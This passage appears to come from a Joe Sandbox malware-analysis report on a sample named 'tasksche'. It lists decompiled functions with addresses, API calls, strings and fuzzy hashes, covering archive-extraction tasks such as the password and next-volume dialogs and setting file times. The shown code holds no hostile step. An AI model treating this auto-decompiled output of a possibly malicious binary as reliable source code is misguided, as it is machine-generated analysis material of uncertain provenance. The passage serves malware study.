				} else {
					E0041A7F7(_t103 - 0x307c, L".\\");
					_push(0x800);
					_t46 = _t103 - 0x3078;
				}
				_push(_t101);
				_push(_t46);
				E00410B9C();
				E004066DA(0, 0x802,  *((intOrPtr*)(_t103 + 8)), _t103 - 0x407c, 0x800);
				if( *((short*)(_t103 - 0x407c)) == 0x3a) {
					__eflags =  *(_t103 + 0x10);
					if(__eflags == 0) {
						E00410BC9(__eflags, _t103 - 0x307c, _t103 - 0x407c, 0x802);
						E004067E1(_t103 - 0x2078);
						_push(0);
						 *(_t103 + 0x13) = E004096BC(_t96, _t101, _t103 - 0x2078);
						_t56 =  *(_t103 - 0x1070);
						__eflags = _t56 & 0x00000001;
						if((_t56 & 0x00000001) != 0) {
							_t72 = _t56 & 0xfffffffe;
							__eflags = _t56 & 0xfffffffe;
							E0040908D(_t101, _t72);
						}
						E00408786(_t103 - 0x1030);
						 *(_t103 - 4) = 0;
						_t59 = E00408A0A(_t103 - 0x1030, __eflags, _t103 - 0x307c, 0x11);
						__eflags = _t59;
						if(_t59 != 0) {
							_push(_t103 - 0x1030);
							_push(0);
							_t70 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
							__eflags = _t70;
							if(_t70 != 0) {
								E00408A32(_t103 - 0x1030);
							}
						}
						E00408786(_t103 - 0x50a0);
						 *(_t103 - 4) = 1;
						__eflags =  *(_t103 + 0x13);
						if( *(_t103 + 0x13) != 0) {
							_push(5);
							_push(_t101);
							_t64 = E004087C3(_t103 - 0x50a0);
							__eflags = _t64;
							if(_t64 != 0) {
								SetFileTime( *(_t103 - 0x509c), _t103 - 0x1050, _t103 - 0x1048, _t103 - 0x1040);
							}
						}
						E0040908D(_t101,  *(_t103 - 0x1070));
						 *(_t103 - 4) = 0;
						E00408C7D(0, _t103 - 0x50a0);
						_t38 = _t103 - 4;
						 *_t38 =  *(_t103 - 4) | 0xffffffff;
						__eflags =  *_t38;
						_t63 = E00408C7D(0, _t103 - 0x1030);
					} else {
						_push(0);
						_push(0);
						_t63 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
					}
				} else {
					E0040639F(0x50,  *((intOrPtr*)(_t103 + 8)) + 0x1e, _t101);
					_t63 = E004062BA(0x4335ac, 3);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t63;
			}

0x00406d02
0x00406d07
0x00406d11
0x00406d18
0x00406d26
0x00406d4e
0x00406d4f
0x00406d2e
0x00406d3a
0x00406d41
0x00406d46
0x00406d46
0x00406d55
0x00406d56
0x00406d57
0x00406d6b
0x00406d78
0x00406d9a
0x00406d9d
0x00406dbd
0x00406dc8
0x00406dcd
0x00406ddb
0x00406dde
0x00406de4
0x00406de6
0x00406de8
0x00406de8
0x00406ded
0x00406ded
0x00406df8
0x00406e0c
0x00406e0f
0x00406e14
0x00406e16
0x00406e21
0x00406e22
0x00406e23
0x00406e28
0x00406e2a
0x00406e32
0x00406e32
0x00406e2a
0x00406e3d
0x00406e42
0x00406e46
0x00406e49
0x00406e4b
0x00406e4d
0x00406e54
0x00406e59
0x00406e5b
0x00406e78
0x00406e78
0x00406e5b
0x00406e85
0x00406e90
0x00406e93
0x00406e98
0x00406e98
0x00406e98
0x00406ea2
0x00406d9f
0x00406da2
0x00406da3
0x00406da4
0x00406da4
0x00406d7a
0x00406d84
0x00406d90
0x00406d90
0x00406ead
0x00406eb5

APIs

__EH_prolog.LIBCMT ref: 00406D07
_wcscpy.LIBCMT ref: 00406D3A

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

SetFileTime.KERNEL32(?,?,?,?,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000), ref: 00406E78

Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(00000000,00000000,746AF790,00000001,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090A8
Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(?,00000000,00000000,?,00000800,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090D5

Strings

:, xrefs: 00406D70

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File$Attributes$H_prologTime_wcscpy_wcslen_wcsncat
String ID: :
API String ID: 326910402-336475711
Opcode ID: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction ID: 6639f4f99703ce1112f5787d69d8c123706ab186ca62756c3ad703d048bc38cc
Opcode Fuzzy Hash: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction Fuzzy Hash: D0417F71905258AAEB20EB64CC55EEE737CAF04344F0040ABB556B71C2DB78AF94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040D53E(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t17;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t29;
				struct HWND__* _t31;
				WCHAR** _t32;

				_t32 = _a16;
				_t31 = _a4;
				if(E004060EE(__edx, _t31, _a8, _a12, _t32, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t12 = _a8 - 0x110;
				if(_t12 == 0) {
					_push( *_t32);
					 *0x44cf2c = _t32;
					L13:
					SetDlgItemTextW(_t31, 0x65, ??);
					goto L14;
				}
				if(_t12 != 1) {
					L6:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t31, 0x65,  *( *0x44cf2c), ( *0x44cf2c)[1]);
					_push(1);
					L10:
					EndDialog(_t31, ??);
					goto L14;
				}
				_t21 = _t17 - 1;
				if(_t21 == 0) {
					_push(0);
					goto L10;
				}
				if(_t21 == 0x64) {
					_t24 = E0040A5DB(__eflags,  *( *0x44cf2c));
					_t27 = E00405164(_t29, _t31, E0040C3BF(0x8e),  *( *0x44cf2c), _t24, 0);
					__eflags = _t27;
					if(_t27 == 0) {
						goto L14;
					}
					_push( *( *0x44cf2c));
					goto L13;
				}
				goto L6;
			}

0x0040d542
0x0040d546
0x0040d561
0x0040d5ee
0x0040d5f0
0x00000000
0x0040d5f0
0x0040d56a
0x0040d56f
0x0040d5dd
0x0040d5df
0x0040d5e5
0x0040d5e8
0x00000000
0x0040d5e8
0x0040d572
0x0040d583
0x00000000
0x0040d583
0x0040d578
0x0040d579
0x0040d5d3
0x0040d5d9
0x0040d5bd
0x0040d5be
0x00000000
0x0040d5be
0x0040d57b
0x0040d57c
0x0040d5bb
0x00000000
0x0040d5bb
0x0040d581
0x0040d590
0x0040d5a9
0x0040d5ae
0x0040d5b0
0x00000000
0x00000000
0x0040d5b7
0x00000000
0x0040d5b7
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D5BE
GetDlgItemTextW.USER32(?,00000065,?,?), ref: 0040D5D3
SetDlgItemTextW.USER32 ref: 0040D5E8

Strings

ASKNEXTVOL, xrefs: 0040D54D

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: ASKNEXTVOL
API String ID: 1770891597-3402441367
Opcode ID: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction ID: 7c41b1936654f57e10877f1e9afce92132798bffb5e44c1de30f76ec9c95968c
Opcode Fuzzy Hash: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction Fuzzy Hash: 23118135600104BBDB219FA49C45F663775EB0A718F044036FE01FA1E0D77AD825AB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041254D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041254D(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v28;
				void* __ebx;
				void* __edi;
				intOrPtr _t25;
				signed int _t30;
				signed int _t31;
				intOrPtr _t35;
				signed int _t40;
				void* _t41;
				signed int _t42;
				signed int _t46;
				signed int _t47;
				unsigned int _t48;
				void* _t51;

				_v16 = __ecx;
				_t25 = E0041252C(__ecx);
				_t47 = 0;
				_v8 = 0;
				if(_a4 <= 0) {
					return _t25;
				}
				_push(_t35);
				_push(_t48);
				do {
					if(_v8 >= 0x20) {
						if(_t47 < _a4) {
							L8:
							E0041216A( &_v28);
							E0041C77F( &_v28, 0x42d504);
							goto L9;
						}
						L12:
						return _t25;
					}
					_t48 = _a4 - _t47;
					_t41 = 0x20;
					_t42 = _t41 - _v8;
					_t30 = _t48;
					_t31 = _t30 / _t42;
					_t46 = _t30 % _t42;
					_v12 = _t31;
					if(_t31 <= 0x400000) {
						_v12 = 0x400000;
					}
					while(_t48 >= _v12) {
						_t35 = E0041CF3E(_t35, _t46, _t47, _t48);
						if(_t35 != 0) {
							goto L9;
						}
						_t48 = _t48 - (_t48 >> 5);
					}
					goto L8;
					L9:
					E0041A820(_t47, _t35, 0, _t48);
					_t25 = _v16;
					_t40 = _v8 << 2;
					_t47 = _t47 + _t48;
					_t51 = _t51 + 0xc;
					_v8 = _v8 + 1;
					 *((intOrPtr*)(_t40 + _t25)) = _t35;
					 *((intOrPtr*)(_t40 + _t25 + 0x80)) = _t47;
				} while (_t47 < _a4);
				goto L12;
			}

0x00412554
0x00412557
0x0041255c
0x0041255e
0x00412564
0x004125f7
0x004125f7
0x0041256a
0x0041256b
0x0041256c
0x00412570
0x004125f1
0x004125ad
0x004125b0
0x004125be
0x00000000
0x004125be
0x004125f3
0x00000000
0x004125f4
0x00412577
0x00412579
0x0041257a
0x0041257f
0x00412581
0x00412581
0x00412588
0x0041258d
0x0041258f
0x0041258f
0x004125a8
0x0041259a
0x0041259f
0x00000000
0x00000000
0x004125a6
0x004125a6
0x00000000
0x004125c3
0x004125c7
0x004125cf
0x004125d2
0x004125d5
0x004125d7
0x004125da
0x004125dd
0x004125e0
0x004125e7
0x00000000

APIs

__CxxThrowException@8.LIBCMT ref: 004125BE
_memset.LIBCMT ref: 004125C7

Strings

, xrefs: 0041256C

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Exception@8Throw_memset
String ID:
API String ID: 3963884845-3916222277
Opcode ID: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction ID: ba4e6bc0ef6041dd665025fb65f45a384477b48ee7e133f8ed84bbd0a598a512
Opcode Fuzzy Hash: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction Fuzzy Hash: 60110671E01218BACB14EFA9CAD55DEB776FF54344F10406BE405E7241D6B85BD2CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040D477 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D477(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* _t15;
				void* _t20;
				struct HWND__* _t33;

				_t33 = _a4;
				if(E004060EE(__edx, _t33, _a8, _a12, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t15 = _a8 - 0x110;
				if(_t15 == 0) {
					SetDlgItemTextW(_t33, 0x66, _a16);
					goto L10;
				}
				if(_t15 != 1) {
					L5:
					return 0;
				}
				_t20 = (_a12 & 0x0000ffff) - 1;
				if(_t20 == 0) {
					GetDlgItemTextW(_t33, 0x65,  &_v260, 0x80);
					E0040D033(__ebx, 0x44ce20,  &_v260);
					E0040CFA3( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t33, ??);
					goto L10;
				}
				if(_t20 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d482
0x0040d49f
0x0040d50a
0x00000000
0x0040d50c
0x0040d4a4
0x0040d4a9
0x0040d504
0x00000000
0x0040d504
0x0040d4ac
0x0040d4b8
0x00000000
0x0040d4b8
0x0040d4b2
0x0040d4b3
0x0040d4d6
0x0040d4e8
0x0040d4f5
0x0040d4fa
0x0040d4bd
0x0040d4be
0x00000000
0x0040d4be
0x0040d4b6
0x0040d4bc
0x00000000
0x0040d4bc
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D4BE
GetDlgItemTextW.USER32(?,00000065,?,00000080), ref: 0040D4D6
SetDlgItemTextW.USER32 ref: 0040D504

Strings

GETPASSWORD1, xrefs: 0040D489

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: GETPASSWORD1
API String ID: 1770891597-3292211884
Opcode ID: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction ID: 3eed9e1ab7e5d8a1da33783b11a95132ac7616313df89bdc2d2bc64375715bf5
Opcode Fuzzy Hash: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction Fuzzy Hash: 4F11CE329001187ADB219FA1AC44EFB3A6DEF59754F404036FD05B20D0C67CD96A96AA

Uniqueness

Uniqueness Score: -1.00%

Function 00410F29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00410F29(long* __ecx, long _a4) {
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t23 = 0x20;
				_t25 = __ecx;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x21] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0x68]); // 0x1a0
				_t25[0x65] = 0;
				InitializeCriticalSection(_t3);
				_t25[0x66] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0x67] = _t14;
				if(_t25[0x66] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x4335ac);
					E00406423(_t19);
					E00406371(0x4335ac, 2);
				}
				_t25[0x63] = 0;
				_t25[0x64] = 0;
				_t25[0x22] = 0;
				return _t25;
			}

0x00410f29
0x00410f29
0x00410f32
0x00410f33
0x00410f35
0x00410f39
0x00410f3b
0x00410f3b
0x00410f41
0x00410f43
0x00410f43
0x00410f49
0x00410f51
0x00410f53
0x00410f53
0x00410f55
0x00410f5c
0x00410f62
0x00410f78
0x00410f7e
0x00410f84
0x00410f90
0x00410f96
0x00410fa0
0x00410fa1
0x00410fac
0x00410fac
0x00410fb2
0x00410fb8
0x00410fbe
0x00410fc8

APIs

InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Strings

Thread pool initialization failed., xrefs: 00410F96

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction ID: 3f206ddc5264aa259e24750db78c3e6b08f6c9018291aa2998b68a3e9789e537
Opcode Fuzzy Hash: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction Fuzzy Hash: FF115EB1600301AFD3305F659886BE7BBE8FB55315F60482FF6DAC6240D6B458C1CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6CF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E6CF(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				long _v0;
				WCHAR* _t16;
				int _t19;
				_Unknown_base(*)()* _t25;

				 *0x441828 = _a12;
				 *0x44182c = _a16;
				 *0x441824 = _a20;
				if( *0x441830 == 0) {
					if( *0x441831 == 0) {
						_t25 = E0040DE5E;
						_t16 = L"REPLACEFILEDLG";
						while(1) {
							_t19 = DialogBoxParamW( *0x4335a4, _t16,  *0x441844, _t25, _a4);
							if(_t19 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x4335a8, L"RENAMEDLG",  *0x441840, E0040D3EE, _v0) != 0) {
								break;
							}
						}
						return _t19;
					}
					return 1;
				}
				return 0;
			}

0x0040e6da
0x0040e6e3
0x0040e6ec
0x0040e6f1
0x0040e6fe
0x0040e70f
0x0040e714
0x0040e73b
0x0040e74f
0x0040e754
0x00000000
0x00000000
0x0040e739
0x00000000
0x00000000
0x0040e739
0x00000000
0x0040e75b
0x00000000
0x0040e702
0x00000000

Strings

REPLACEFILEDLG, xrefs: 0040E714, 0040E746
RENAMEDLG, xrefs: 0040E72A

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction ID: 0892b1485419df81b4422e2148389c4265d0283c5dc75372e36aae0ff2247616
Opcode Fuzzy Hash: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction Fuzzy Hash: AF017576604204BFC712AB55EC44A167BD5E74A751F040837F901E32B0D3764865DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E132 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0041E132(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0041E0A0(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0041A12E(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0041DB1D(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E0041DD85(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0041A0F5(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e137
0x0041e13b
0x0041e13d
0x0041e140
0x0041e141
0x0041e142
0x0041e145
0x0041e14a
0x0041e14a
0x0041e14d
0x0041e151
0x0041e154
0x0041e159
0x0041e156
0x0041e156
0x0041e156
0x0041e15c
0x0041e161
0x0041e163
0x0041e166
0x0041e169
0x0041e16a
0x0041e172
0x0041e177
0x0041e17b
0x0041e17e
0x0041e181
0x0041e187
0x0041e188
0x0041e18b
0x0041e195
0x0041e199
0x00000000
0x0041e199
0x0041e19f

APIs

___BuildCatchObject.LIBCMT ref: 0041E145

Part of subcall function 0041E0A0: ___BuildCatchObjectHelper.LIBCMT ref: 0041E0D6

_UnwindNestedFrames.LIBCMT ref: 0041E15C
___FrameUnwindToState.LIBCMT ref: 0041E16A

Strings

csm, xrefs: 0041E141, 0041E156, 0041E169, 0041E187, 0041E197

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction ID: 59b9ad28f981bea14fd5052789bebdc6dccf333051ec123e92fb5a6599f75b08
Opcode Fuzzy Hash: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction Fuzzy Hash: 14012479401109BBDF126E52CC45EEB3F6AEF09398F044016FD1815261DB3AA8B1EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040C0F6(intOrPtr* __ecx) {
				char _v2052;
				struct HINSTANCE__* _t5;
				struct HRSRC__* _t6;
				signed int _t10;
				char _t12;
				intOrPtr* _t18;

				_t18 = __ecx;
				_t5 = GetModuleHandleW(0);
				_t19 = L"RTL";
				_t6 = FindResourceW(_t5, L"RTL", 5);
				if(_t6 == 0) {
					E0040BF1D(_t18, L"LTR",  &_v2052, 0x400, 1, L"LTR");
					_t10 = E0041AA21( &_v2052, _t19);
					asm("sbb al, al");
					_t12 =  ~_t10 + 1;
					 *((char*)(_t18 + 0x10)) = _t12;
					return _t12;
				}
				 *((char*)(_t18 + 0x10)) = 1;
				return _t6;
			}

0x0040c103
0x0040c105
0x0040c10d
0x0040c114
0x0040c11c
0x0040c13b
0x0040c148
0x0040c14f
0x0040c152
0x0040c155
0x00000000
0x0040c155
0x0040c11e
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0040C105
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 0040C114

Strings

RTL, xrefs: 0040C10D, 0040C112, 0040C146
LTR, xrefs: 0040C124, 0040C129, 0040C138

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction ID: 3bee6f5c2cd76a6cf6446ed83b6680fa0d6a216d229c8f919e909fc3329ffe0a
Opcode Fuzzy Hash: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction Fuzzy Hash: 69F0243238026467DA2067756C4AFE72B7CAB81310F44057AB605E71C1CFA8D499CBEE

Uniqueness

Uniqueness Score: -1.00%

Function 00423463 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00423463() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x42b9d0;
					_v28 =  *0x42b9c8;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
